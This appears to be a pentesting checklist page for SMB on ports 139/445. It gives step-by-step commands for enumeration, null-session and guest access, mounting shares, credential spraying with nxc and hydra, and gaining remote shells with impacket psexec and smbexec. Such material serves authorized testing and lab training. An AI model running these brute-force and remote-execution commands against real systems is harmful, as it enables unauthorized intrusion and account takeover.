Back to Port Tracker
📂
SMB
Port 139 / 445Windows
Windows file sharing — enumerate shares, users, null sessions, and hunt for readable/writable shares.
// methodology checklist
Step-by-step commands
1
Nmap service scan
howlsec@kali·shell
nmap -p139,445 -sV -sC $thowlsec@kali·shell
nmap -p445 --script smb-enum-shares,smb-enum-users,smb-os-discovery $thowlsec@kali·shell
nmap -p445 --script smb-vuln-* $t2
Null session / guest access
Try connecting without creds first. Many boxes allow guest or null.
howlsec@kali·shell
smbclient -N -L //$t/howlsec@kali·shell
nxc smb $t -u '' -p '' --shareshowlsec@kali·shell
nxc smb $t -u guest -p '' --shareshowlsec@kali·shell
smbmap -H $t -u guesthowlsec@kali·shell
rpcclient -U '' -N $t -c 'enumdomusers'3
List and mount shares
howlsec@kali·shell
smbclient -N //$t/<share>howlsec@kali·shell
mount -t cifs //$t/<share> /mnt/smb -o username=guest,password=howlsec@kali·shell
nxc smb $t -u <user> -p <pass> --shares4
Credential spray / brute
howlsec@kali·shell
nxc smb $t -u users.txt -p passwords.txthowlsec@kali·shell
hydra -L users.txt -P pass.txt smb://$t5
Remote execution (foothold)
If you have valid creds, try psexec/impacket for a shell.
howlsec@kali·shell
impacket-psexec domain/user:pass@$thowlsec@kali·shell
impacket-smbexec domain/user:pass@$thowlsec@kali·shell
nxc smb $t -u <user> -p <pass> -x 'whoami'